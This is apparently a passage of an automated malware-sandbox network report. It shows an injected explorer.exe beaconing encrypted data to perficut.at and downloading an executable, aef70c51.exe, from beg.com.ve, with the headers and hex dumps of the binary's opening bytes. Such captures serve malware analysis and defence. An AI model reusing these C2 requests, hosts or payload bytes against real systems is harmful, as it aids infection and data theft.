3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49703	58.235.189.192	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 10:01:38.173722029 CET	4101	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://umdvbbuaa.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 111 Host: perficut.at
Feb 16, 2023 10:01:38.173794985 CET	4101	OUT	Data Raw: 3b 6e 25 10 86 cc 1a 21 d6 de b3 02 01 74 7b bc 7e 03 c1 e1 62 08 e6 63 7d 74 73 92 47 b1 ce 6c 9d 56 b5 5c 72 64 21 6e 9a 9b 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 6e 3e b7 9b Data Ascii: ;n%!t{~bc}tsGlV\rd!n?*$`7C[zqNA -[k,vun>(p}[;p"O]
Feb 16, 2023 10:01:39.392466068 CET	4101	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 09:01:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 48 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 09 6f 41 ba 3b 05 f6 b6 51 f6 d1 f1 b3 31 80 2b d8 eb 6c 53 1b 88 8f 97 80 74 dc 2e Data Ascii: #\6oA;Q1+lSt.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49704	190.114.9.88	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-16 09:01:40 UTC	0	OUT	GET /systems/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: beg.com.ve
2023-02-16 09:01:40 UTC	0	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 16 Feb 2023 09:01:40 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: close Content-Description: File Transfer Content-Disposition: attachment; filename=aef70c51.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Nginx-Upstream-Cache-Status: EXPIRED X-Server-Powered-By: Engintron
2023-02-16 09:01:40 UTC	0	IN	Data Raw: 38 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 92 2a 9d 19 f3 44 ce 19 f3 44 ce 19 f3 44 ce 07 a1 d1 ce 04 f3 44 ce 07 a1 c7 ce 70 f3 44 ce 07 a1 c0 ce 31 f3 44 ce 3e 35 3f ce 10 f3 44 ce 19 f3 45 ce 66 f3 44 ce 07 a1 ce ce 18 f3 44 ce 07 a1 d0 ce 18 f3 44 ce 07 a1 d5 ce 18 f3 44 ce 52 69 63 68 19 f3 44 ce 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 fe Data Ascii: 8000MZ@!L!This program cannot be run in DOS mode.$]*DDDDpD1D>5?DEfDDDDRichDPEL
2023-02-16 09:01:40 UTC	16	IN	Data Raw: 40 00 8d 85 14 fe ff ff 50 ff 15 98 11 40 00 68 50 40 40 00 ff 15 14 10 40 00 ff 15 6c 10 40 00 8b 45 f0 40 3d a3 95 4f 00 89 45 f0 0f 8c 71 ff ff ff 8b 35 90 11 40 00 8b 3d 88 11 40 00 8b 1d 60 10 40 00 c7 45 f0 f4 04 00 00 6a 00 ff d6 6a 00 6a 00 ff d7 ff d3 83 6d f0 01 75 ee 8b 3d 64 10 40 00 8b 1d a8 10 40 00 33 f6 6a 00 ff d7 ff d3 81 fe e8 c0 26 00 0f 8d 1b 0e 00 00 c7 45 b0 9d 3f d3 75 c7 85 f8 fe ff ff 4d 41 dd 42 c7 45 ec 78 27 43 7a c7 45 e8 f7 b8 c1 43 c7 85 00 ff ff ff 7e 44 4a 75 c7 85 8c fe ff ff f3 cd 54 7f c7 45 ac c3 11 24 05 c7 85 78 ff ff ff c8 71 ad 5b c7 85 1c ff ff ff 9d 58 61 0a c7 45 bc 9b 79 9d 5b c7 85 3c ff ff ff 9d 57 ba 21 c7 85 2c fe ff ff 64 1b 18 63 c7 85 bc fe ff ff 66 f4 28 1b c7 85 24 ff ff ff ec d6 02 01 c7 85 88 fe ff Data Ascii: @P@hP@@@l@E@=OEq5@=@`@Ejjjmu=d@@3j&E?uMABEx'CzEC~DJuTE$xq[XaEy[<W!,dcf($
2023-02-16 09:01:41 UTC	32	IN	Data Raw: e9 03 0f 85 fb 00 00 00 c7 45 dc c8 1d 40 00 eb 9a c7 45 dc c0 1d 40 00 eb 91 c7 45 dc e0 1d 40 00 dd 07 dd 1e eb 84 c7 45 dc e0 1d 40 00 e9 78 ff ff ff c7 45 d8 02 00 00 00 e9 f7 fe ff ff d9 e8 e9 bb 00 00 00 c7 45 d8 03 00 00 00 c7 45 dc ac 1d 40 00 e9 e4 fe ff ff 81 c1 18 fc ff ff 83 f9 0c 0f 87 9b 00 00 00 ff 24 8d 1f 8b 40 00 c7 45 dc d0 1d 40 00 eb a9 c7 45 dc d4 1d 40 00 eb a0 c7 45 dc dc 1d 40 00 eb 97 c7 45 dc a4 1d 40 00 eb 8e c7 45 dc 9c 1d 40 00 eb 85 c7 45 dc 94 1d 40 00 e9 79 ff ff ff c7 45 dc 8c 1d 40 00 e9 6d ff ff ff c7 45 dc 88 1d 40 00 eb 10 c7 45 dc 84 1d 40 00 eb 07 c7 45 dc 80 1d 40 00 dd 07 dc 4d f8 dd 16 dd 07 dd 5d e0 dd 03 dd 5d e8 8d 4d d8 dd 5d f0 51 c7 45 d8 01 00 00 00 ff d0 59 85 c0 75 0b e8 78 e5 ff ff c7 00 21 00 00 00 dd Data Ascii: E@E@E@E@xEEE@$@E@E@E@E@E@E@yE@mE@E@E@M]]M]QEYux!
2023-02-16 09:01:41 UTC	48	IN	Data Raw: 02 b8 ff ff ff 76 78 e8 fa b7 ff ff ff 76 7c e8 f2 b7 ff ff 83 c4 40 ff b6 80 00 00 00 e8 e4 b7 ff ff ff b6 84 00 00 00 e8 d9 b7 ff ff ff b6 88 00 00 00 e8 ce b7 ff ff ff b6 8c 00 00 00 e8 c3 b7 ff ff ff b6 90 00 00 00 e8 b8 b7 ff ff ff b6 94 00 00 00 e8 ad b7 ff ff ff b6 98 00 00 00 e8 a2 b7 ff ff ff b6 9c 00 00 00 e8 97 b7 ff ff ff b6 a0 00 00 00 e8 8c b7 ff ff ff b6 a4 00 00 00 e8 81 b7 ff ff ff b6 a8 00 00 00 e8 76 b7 ff ff 83 c4 2c 5e 5d c3 8b ff 55 8b ec 56 8b 75 08 85 f6 74 35 8b 06 3b 05 58 4b 41 00 74 07 50 e8 53 b7 ff ff 59 8b 46 04 3b 05 5c 4b 41 00 74 07 50 e8 41 b7 ff ff 59 8b 76 08 3b 35 60 4b 41 00 74 07 56 e8 2f b7 ff ff 59 5e 5d c3 8b ff 55 8b ec 56 8b 75 08 85 f6 74 7e 8b 46 0c 3b 05 64 4b 41 00 74 07 50 e8 0d b7 ff ff 59 8b 46 10 3b 05 Data Ascii: vxv\|@v,^]UVut5;XKAtPSYF;\KAtPAYv;5`KAtV/Y^]UVut~F;dKAtPYF;
2023-02-16 09:01:41 UTC	64	IN	Data Raw: 78 ff ff 59 e9 b7 01 00 00 83 3d 24 18 7f 00 03 0f 85 93 01 00 00 33 ff 89 7d e4 83 fe e0 0f 87 8a 01 00 00 6a 04 e8 cc bd ff ff 59 89 7d fc 53 e8 f4 c2 ff ff 59 89 45 e0 3b c7 0f 84 9e 00 00 00 3b 35 14 18 7f 00 77 49 56 53 50 e8 d6 c7 ff ff 83 c4 0c 85 c0 74 05 89 5d e4 eb 35 56 e8 a5 ca ff ff 59 89 45 e4 3b c7 74 27 8b 43 fc 48 3b c6 72 02 8b c6 50 53 ff 75 e4 e8 9a 86 ff ff 53 e8 a4 c2 ff ff 89 45 e0 53 50 e8 ca c2 ff ff 83 c4 18 39 7d e4 75 48 3b f7 75 06 33 f6 46 89 75 0c 83 c6 0f 83 e6 f0 89 75 0c 56 57 ff 35 44 58 47 00 ff 15 08 11 40 00 89 45 e4 3b c7 74 20 8b 43 fc 48 3b c6 72 02 8b c6 50 53 ff 75 e4 e8 46 86 ff ff 53 ff 75 e0 e8 7d c2 ff ff 83 c4 14 c7 45 fc fe ff ff ff e8 2e 00 00 00 83 7d e0 00 75 31 85 f6 75 01 46 83 c6 0f 83 e6 f0 89 75 0c Data Ascii: xY=$3}jY}SYE;;5wIVSPt]5VYE;t'CH;rPSuSESP9}uH;u3FuuVW5DXG@E;t CH;rPSuFSu}E.}u1uFu
2023-02-16 09:01:41 UTC	80	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 97 46 0e ba 63 ab 60 4e 9f e7 f0 25 6c c1 Data Ascii: Fc`N%l
2023-02-16 09:01:41 UTC	96	IN	Data Raw: 20 41 fb 00 56 55 25 37 94 48 ca 5d 7a ed ad a3 8e 13 dd 37 fc 3c a0 c8 1a 38 e7 9a 3b b2 b5 ea c7 ba f0 2a 8c 69 52 e1 32 aa 1e b3 18 cf 4f 03 27 ad 62 e3 a6 ea 2b 34 f1 59 41 78 bf 19 2a 28 24 43 42 49 54 44 ac e0 fc 94 6b b0 e0 2e b0 49 c3 8d 31 83 99 13 c1 86 51 c7 34 ea df 42 fc 74 aa 9d 44 b0 5e 43 0d 79 5b a4 e3 99 42 e7 d7 16 45 9d e5 68 c8 f8 72 76 f5 b6 f8 fa dc 4d d4 dc e2 d4 fb 21 c1 9d 12 74 48 f9 fc 75 a7 12 d2 76 90 ec de 83 ae ff 2a 26 79 f6 74 69 dd 77 62 ab c4 f3 9f 9a e4 bd 2f 54 db 1e c4 04 f3 40 b5 47 65 da f1 ca 08 70 c6 20 f1 d4 43 73 f5 21 f7 68 10 65 da c8 c5 e2 a5 2b dd cc 04 86 78 37 ab d3 62 5d 52 c7 47 54 59 72 c6 50 33 81 e3 57 d9 b7 36 08 55 f3 9e ec 34 56 5f f2 fd 17 09 10 57 fa 3a 0b 31 1a c6 d7 f8 d9 d1 dc b3 0c a8 67 7c Data Ascii: AVU%7H]z7<8;iR2O'b+4YAx($CBITDk.I1Q4BtD^Cy[BEhrvM!tHuv*&ytiwb/T@Gep Cs!he+x7b]RGTYrP3W6U4V_W:1g\|
2023-02-16 09:01:41 UTC	112	IN	Data Raw: 0c 9f 97 0a 93 b0 e1 60 0e 59 3e c4 d8 c5 cf f5 ae 5b eb e9 b3 38 86 98 e1 dd ba e3 0c 62 9d 82 9d 16 65 84 f4 95 ec 1d d6 ff 4e 18 24 0b 41 48 4a fc 75 67 85 32 8b 2e 6c f7 d0 6c 2d 00 e5 6b 2c 24 1b 9c 8a 15 8c ef c7 29 85 8b b4 d4 41 8c b6 8e 5c eb 9d 37 5f b8 f6 76 f3 d7 3d 36 98 e1 fc b7 12 61 77 f0 98 72 87 ea 6b 87 99 cd 76 91 00 86 49 46 7a 4b cb f5 2e f1 dc b0 6b cc 7c 10 f4 50 a4 88 35 ce 06 d7 55 4a 2c bc c1 1e d0 83 2d 16 0f eb 84 1d 1d c4 6d 26 62 7e 47 74 55 8f b7 cd bd d3 8d 82 e3 de a9 dd 23 5d 32 56 d6 89 29 62 e9 99 e6 0c e0 d1 67 11 48 30 a3 cf 4c fa 3f 9b 72 f0 fb ee a5 63 0f fc 74 71 b8 0e 39 78 93 2e 3f 55 33 a1 3c 54 af d1 fe a5 ff 30 77 5f c3 05 e6 01 5c e5 03 ff 22 ba 9c 0a a6 05 ed 86 77 a5 81 77 bf bc be 6b 22 ee f6 9f 1f 9e dd Data Ascii: `Y>[8beN$AHJug2.ll-k,$)A\7_v=6awrkvIFzK.k\|P5UJ,-m&b~GtU#]2V)bgH0L?rctq9x.?U3<T0w_\"wwk"
2023-02-16 09:01:41 UTC	128	IN	Data Raw: a0 1a 54 00 b2 49 77 e7 8c ed fa 16 c0 ed d2 44 dd 04 45 5d fe 0c b6 c3 6d 48 a7 b0 48 05 b1 2c 3f ae 0b f1 24 a8 74 50 dc 48 fc 85 b6 96 e0 91 90 16 6e 06 41 91 d2 1a a7 00 84 53 a6 ab ea b7 63 7f 88 ad 74 4a 4d 16 66 8b 9f df cb 25 df 49 7b fc 23 dc 2d 18 b4 11 f8 c5 1b a6 96 30 47 76 6d d5 70 7a c4 ad 05 ce b1 3b b9 28 1b 0a 99 24 a1 52 d7 b9 30 6a 20 5e f2 77 7e 3c 82 cf 0d 26 0b 0d 0e 09 b8 f5 b6 85 61 ca b4 4c 0b b6 8d a5 aa e3 db 3b 06 d6 81 ab 73 eb dc 45 2d c2 d3 1b a7 5b 94 ed c5 81 af e0 3b a9 18 c0 37 9b 60 29 e9 18 00 fb 6e 17 66 ba 52 bb 00 57 5f 10 2d 0d 25 35 ff 30 54 76 50 fd b2 ba 7a 9b 92 b3 99 ae d0 5e 8f c0 e3 1d 3e 5b a8 68 25 2c 8b 34 78 e3 43 f1 e2 27 a1 e2 61 4a 18 eb 4e c3 e3 97 0a 64 e9 be b7 77 af 9b 28 28 b9 d1 c0 70 58 bc d0 Data Ascii: TIwDE]mHH,?$tPHnASctJMf%I{#-0Gvmpz;($R0j ^w~<&aL;sE-[;7`)nfRW_-%50TvPz^>[h%,4xC'aJNdw((pX
2023-02-16 09:01:41 UTC	144	IN	Data Raw: 48 d4 96 e6 3b ff bd 29 47 7c e3 dc 1c 03 2b 50 fd 0f 19 35 15 d9 07 50 64 86 94 f2 10 30 96 b7 0a 02 33 38 08 ae f6 d5 f4 40 8e 4c d5 61 ba a5 59 1e 75 51 ad af 9a 97 3d a9 12 75 89 c8 ce 4b da 45 b2 48 67 78 33 6d da ac da 3c 81 59 31 93 04 29 9a f9 4f bd 0e 09 42 7b 7f f9 70 48 e0 25 a5 f8 79 ce d7 80 f1 04 84 58 4d e3 57 da b8 78 ea 42 6d 1a cf 7e 32 c3 46 00 56 be a6 35 22 ad b4 b4 0e ee cc 2e 4a 70 44 fb 3a d6 78 76 03 4e 16 4d 3b 97 a2 52 ed 50 77 5c ce 25 48 03 3d 6f 01 94 32 41 bb 8c 50 00 21 89 43 c2 f7 bd a4 47 75 74 fb af e7 02 6d 36 5e 51 9f 02 af da b6 db 55 e6 72 db 16 57 c9 4a 8a 6b 29 90 9b 23 7d 8c e0 b0 f9 80 33 f4 93 09 06 cd 35 f7 0b d4 d4 76 4a 73 a4 d5 4d 55 3d 6f 55 6a ef b8 fa 6b 84 5f d2 72 79 38 aa fb 96 9d cf d0 4c ee 7d ff 6b Data Ascii: H;)G\|+P5Pd038@LaYuQ=uKEHgx3m<Y1)OB{pH%yXMWxBm~2FV5".JpD:xvNM;RPw\%H=o2AP!CGutm6^QUrWJk)#}35vJsMU=oUjk_ry8L}k
2023-02-16 09:01:41 UTC	160	IN	Data Raw: d0 86 f4 6b 07 fc 07 01 66 eb 67 0b 48 27 94 c9 f1 b2 f4 82 17 43 b4 fa 10 94 f3 bd b5 a1 55 f2 fc 12 f9 34 f3 69 fd 76 a9 ba 3b d7 c0 14 4a 90 2e 5b 2c e9 f9 ed ce fa 2b d2 4a c9 8b 72 ee 6c 7a 5c 43 e0 9f 9b 3a a4 d9 68 33 ec 8d 90 0d ec ee 3f b2 e2 d2 e2 42 40 d1 75 a5 85 c4 c3 89 a2 10 67 db 57 f0 7d 0e c7 f8 1c af 44 97 1c 0e 02 c7 38 15 88 36 6f 20 e4 f3 a5 af de e0 93 ed 91 c3 37 ec a3 21 fa d6 81 1b d7 97 62 69 0e fc b3 bf e2 bd a3 ae 29 c5 d6 46 19 b6 19 08 f4 9a 52 9d 62 72 94 f1 62 28 4d 3a ec 08 1e f8 c8 1f 32 4e 16 a8 35 9c 13 54 c5 f9 18 c2 4a b6 ff 19 0a 82 ae 9b e0 e3 5d 2b 0f 44 08 f5 79 72 b3 81 ec 74 ec 1f 3d 31 58 be fd 3e 65 59 06 e4 ea 58 c7 c4 a8 85 6d a5 54 68 25 db a7 74 7c d3 33 67 f6 0a 49 60 5f 47 58 a8 da 38 5b 88 36 45 c5 de Data Ascii: kfgH'CU4iv;J.[,+Jrlz\C:h3?B@ugW}D86o 7!bi)FRbrb(M:2N5TJ]+Dyrt=1X>eYXmTh%t\|3gI`_GX8[6E
2023-02-16 09:01:41 UTC	176	IN	Data Raw: 56 b5 80 53 f5 aa 15 cc e0 26 25 09 65 f0 80 5b e7 71 c3 6d 2b 33 3b 85 12 84 8f 99 5e 99 ef b4 a4 9e d1 27 98 ae ad 59 9c ac 87 70 86 fe a9 ff 81 97 2e 58 d2 41 cd 31 9c be 1b 20 06 29 b3 ce fa 9e ec d8 d5 8c 8b 9d 2c 67 20 b2 08 dd 8d d1 29 94 88 5b ab 00 e1 7c 93 f6 ef a0 b7 f2 fd 46 1d ea a5 25 fd 0f 15 68 c2 c3 04 42 77 f5 2c 7d 0e b7 33 40 0d f9 17 ea a4 e8 f0 03 1b ac 0a 3c c8 1a c7 f8 3f d2 d6 0c 63 ae 17 95 43 89 3c aa a9 dd 25 3f 77 a9 bc c9 7e fc 82 5f da 69 ef 1b 36 33 cf fd e9 f3 38 9d ed fc c9 a8 08 12 d1 12 38 94 2c fa 1a 1a 37 70 97 8a 3a a3 65 3b 3c 4a 22 e8 99 fe 0d e4 61 81 40 ec 9c 5f 7d 25 d6 23 67 d3 b3 ed a3 b9 e0 76 63 fd 02 02 7d ab 31 fa 89 78 5e eb d4 6c d8 0e 69 cf 6d 8f a6 4a 83 f5 13 66 cc 44 e0 6b ee 42 fa 96 06 7e 4e 70 78 Data Ascii: VS&%e[qm+3;^'Yp.XA1 ),g )[\|F%hBw,}3@<?cC<%?w~_i6388,7p:e;<J"a@_}%#gvc}1x^limJfDkB~Npx
2023-02-16 09:01:41 UTC	192	IN	Data Raw: 72 f3 55 ab a7 52 23 a6 2b c1 3c d7 c3 8a 19 9d 88 bc 1b 10 5e 4e b8 77 61 7e 82 99 05 9a 70 3a 76 2d 23 98 b8 1d 9e 93 e5 25 e2 7b f0 5a e3 3b d8 43 f9 0c 18 95 b5 6f 63 60 c2 20 fe 38 c7 44 7d 46 e4 1c 36 31 fc 92 fa 41 0d 1f 36 15 7b f8 e0 7b c9 54 b7 9c fe d0 5d 20 61 c3 21 16 c0 b1 7e 10 96 4d 21 0e da 84 98 ff 9e fd 86 72 85 1e 90 12 cd ce e6 61 ee a0 e5 1e be ed ee 17 90 6f 1c fa 61 57 f4 bc 99 a2 96 bb 14 9c e5 94 37 fb 33 37 46 96 4a d3 d7 ba 47 e5 45 93 2a 79 b4 10 82 95 1d 6a d5 9f c1 25 f0 f7 62 7b 44 d7 eb 74 23 c4 c0 c2 bd 49 a5 ee f5 96 26 bf 55 ac 3d 45 52 ce 90 04 d3 f0 a5 b7 13 7d 9e 94 de ac 2a a3 21 55 00 14 87 be 95 a2 8a 11 65 da bc 58 e8 3a 3b 51 c9 1b 2e 11 f2 e4 ee d6 32 58 96 11 20 7f 58 96 0d 66 0d 6c 0e e9 07 e0 5b c2 52 28 dd Data Ascii: rUR#+<^Nwa~p:v-#%{Z;Coc` 8D}F61A6{{T] a!~M!raoaW737FJGEyj%b{Dt#I&U=ER}!UeX:;Q.2X Xfl[R(
2023-02-16 09:01:41 UTC	208	IN	Data Raw: 0a 98 be e9 09 72 17 12 e7 2c ab 9c 8f 27 0c ee 7d 5b 2c 74 6f 8f ea 10 c2 d3 dd 5b 49 96 f7 c9 ad b5 2b 15 6e 36 da fc 86 e7 7b b1 46 f4 07 e6 ce 1f 70 f2 c4 13 48 8e 79 6b e4 82 97 27 aa 5b 84 57 25 56 81 3f 77 83 c4 fd 3a 7f 2b c4 e3 7f 08 d2 89 62 e6 71 87 00 8c 43 92 7f 28 50 ba 75 a2 f9 67 c8 9b a7 52 41 16 7f 2d f1 3d bb 4f 69 b5 cc 0f ca cf 02 e4 7f 05 7e 22 bf 7c be 19 ff 8e 7f 85 95 ec 8f a8 40 9f 6e a4 a4 f6 d3 16 32 f9 16 df 08 83 f9 52 f8 fb 22 10 72 41 3c 34 5d f8 e1 b0 5c 5d e3 4f 59 46 c3 2f 1f 00 21 0a 02 fa 22 19 98 1f a7 ae 13 1a 66 a2 2b e9 c4 e1 f3 98 2c c0 c9 78 18 2f 5a f4 f0 72 dc 00 26 65 2e 8a 4f 63 f6 c2 73 99 9f 34 b1 40 25 26 f3 36 b4 b1 d1 36 58 53 5d 7f a5 ab d4 90 6c df 50 ff 1a 1a f9 1e 6d 59 ce 42 23 d9 dc a2 b0 0b 7e aa Data Ascii: r,'}[,to[I+n6{FpHyk'[W%V?w:+bqC(PugRA-=Oi~"\|@n2R"rA<4]\]OYF/!"f+,x/Zr&e.Ocs4@%&66XS]lPmYB#~
2023-02-16 09:01:41 UTC	224	IN	Data Raw: 4a 2b 5b 76 f5 52 75 7c 19 7e 12 57 b6 d5 a0 18 21 9f b9 06 f0 9d a8 52 4a 2d cf c9 05 43 a8 bb 3e 6b a6 f3 ca fa 9d e9 fa b8 d4 52 38 fc 5e 0a fb e9 0b 23 e5 60 3b bc 90 31 48 c2 39 8e 3b d0 21 75 23 7f 95 e2 e5 4a 4a 6c 76 c0 49 36 4d ab 74 f4 5a a5 a0 81 97 19 37 a1 f1 e6 66 df 75 d3 04 14 90 3c c0 21 79 71 3d 0e 81 e4 17 41 89 3e d6 cc 06 0c b4 f3 4e e9 d5 19 1c d6 61 f2 a3 ad c6 20 4c 02 50 4c 81 1b 9b d7 ca 9d ad f0 d4 23 67 2a 5f 13 22 67 64 95 28 60 c1 b6 2a eb 43 c4 3f a1 03 e4 1f 68 7a d2 f0 14 a8 41 72 73 dc a2 86 6c 68 2a a4 ed 04 49 af 93 42 46 08 ce b9 bf 7b 59 6d f1 62 7f 20 37 a4 e4 e2 54 d0 e4 64 b2 81 5b 09 e5 6f bf 09 cd 10 e5 16 e1 27 c8 f7 17 11 ec 88 c5 e9 7d b3 d2 7f b9 4e 16 6c 7d b3 de 44 b6 04 b0 a2 1a 91 f1 a1 60 34 45 95 c6 09 Data Ascii: J+[vRu\|~W!RJ-C>kR8^#`;1H9;!u#JJlvI6MtZ7fu<!yq=A>Na LPL#g_"gd(`C?hzArslh*IBF{Ymb 7Td[o'}Nl}D`4E
2023-02-16 09:01:41 UTC	240	IN	Data Raw: 3d de 2e 95 af c5 b2 80 00 de 25 35 ac f1 28 6b b4 12 78 71 61 2a 69 ee a6 96 04 4c 93 bf 7e dc 5c a7 7e a8 a1 d2 b8 b1 48 b6 8d 1a b8 1e f6 65 f1 eb 03 66 5b 82 2c cb e3 f1 ee 77 08 82 0f 11 20 dc 43 7f 5b d1 cf ad d3 d5 50 84 89 f2 1f 7e 50 f3 f5 37 f1 c6 34 b1 42 9d 6c 5a bc ee b7 31 ed a2 17 4e 3d 93 32 b1 1c d0 ea 3f 24 ae 12 93 44 77 83 8c 95 98 3d 4c 1b 19 26 f5 e7 19 9b 89 b4 27 ba 56 ae 66 38 c4 3a f7 d0 06 d0 7f df dd 9f 9c 9c f2 02 46 4c 50 ff 10 89 9a b2 2c 7f f8 d3 7e bb 09 be ee 27 4d 5c 00 4b 01 ea 2f 5a 4e a5 f7 1c 67 58 e3 8c 56 49 22 12 4f e5 77 37 0e 3a dd d4 16 89 71 ae aa 0f 59 f5 b6 70 7a ed 30 2c 74 01 d7 93 b6 c4 a0 07 19 c3 05 3e eb 40 6c 52 1e 04 ce 87 3b d3 4e 36 b4 ec 33 3f e6 4a f1 09 2a 6c 68 01 c6 5b fa 92 5d 78 d5 ab 5d e0 Data Ascii: =.%5(kxqaiL~\~Hef[,w C[P~P74BlZ1N=2?$Dw=L&'Vf8:FLP,~'M\K/ZNgXVI"Ow7:qYpz0,t>@lR;N63?Jlh[]x]
2023-02-16 09:01:41 UTC	256	IN	Data Raw: 08 22 c0 b6 e4 8c e6 a2 9c 84 4c af 98 f4 9a 80 54 41 c7 f7 5c c6 0c 71 8c 0d 34 26 ae 50 ec 62 c4 96 4b 8e 47 96 1a f6 ac d7 5f 95 ed e9 72 76 cd 65 d2 1d 68 0a 23 c8 80 de 51 bf a2 d6 65 fe e6 d6 cb 5e 45 7b cf 70 73 e3 96 fd cb c6 46 d2 12 46 62 65 10 f2 e1 2e 74 98 37 11 14 a6 02 72 28 51 bc e4 43 e0 97 20 2a e8 77 92 ec c1 d6 4e 35 d7 c9 76 2d aa 8f ca a0 18 04 0c 87 25 03 18 15 ac b6 8e 7f 4a 9f 87 43 58 d6 fa c6 f1 58 f6 5a e8 72 bd 05 05 14 1c e6 e7 b8 a3 56 dd fc e8 93 95 64 5c fd 23 54 e4 3b 98 b9 7e 6a 43 f7 65 0a 8a 68 a9 bd 42 26 5c 0c cb b1 52 07 28 89 74 dd 1c 0a 84 08 51 33 52 87 6e ac 94 3b 46 cb d1 77 22 25 4f c1 d7 99 6c 95 4f 25 34 ee a7 ce b8 40 41 7b b8 cc 56 f6 32 f2 36 d2 b0 bf 46 ba c8 9b a5 83 46 06 6d af 74 d9 c2 04 01 98 3d c1 Data Ascii: "LTA\q4&PbKG_rveh#Qe^E{psFFbe.t7r(QC *wN5v-%JCXXZrVd\#T;~jCehB&\R(tQ3Rn;Fw"%OlO%4@A{V26FFmt=
2023-02-16 09:01:41 UTC	272	IN	Data Raw: 29 ed b6 ee 1c be 17 a3 2d b8 82 f4 e5 24 05 af e0 75 5b 8b 61 8c 0f 5f 12 b6 56 a0 7c 6d dc 4e 43 06 b2 dd 31 5d f2 ca 1c 1f a8 2e 40 f1 ed 2c 48 85 95 3c 43 03 41 19 10 5d bb 27 7b 52 93 d4 c1 49 c1 71 52 50 bf 13 e6 fc 86 91 50 0b fc f7 d2 4e d1 e4 b2 02 bd b5 4d 6b 9d 41 6e 24 75 0e 49 6c 89 d2 f4 76 4b f2 35 57 41 a7 52 b5 64 0b ea 11 e0 94 aa 33 ba df a3 36 6b 4c 86 5b 1f 1d 47 08 1c 9a 33 e8 17 db 16 d8 e4 2f 97 c6 1f 34 66 f7 13 8f 1b ce 9e 92 e0 88 27 43 39 86 fa 45 3b 68 17 96 33 69 64 91 0a 54 86 c9 19 f8 d1 af 91 a3 bd 64 fb 28 10 5c ff 01 db ff 3c d3 96 d2 cc cd 86 ee ac ee 89 92 25 77 ad 45 98 fc 78 d7 64 e4 c4 d5 df c8 98 d4 ea f2 5f 75 18 b7 7f 7a 15 eb 6e c2 92 1e 15 e3 bf c3 e3 f3 65 a3 3d 0b 39 e3 b9 a6 25 ad bd 38 a9 4a 90 f1 5c 9a f2 Data Ascii: 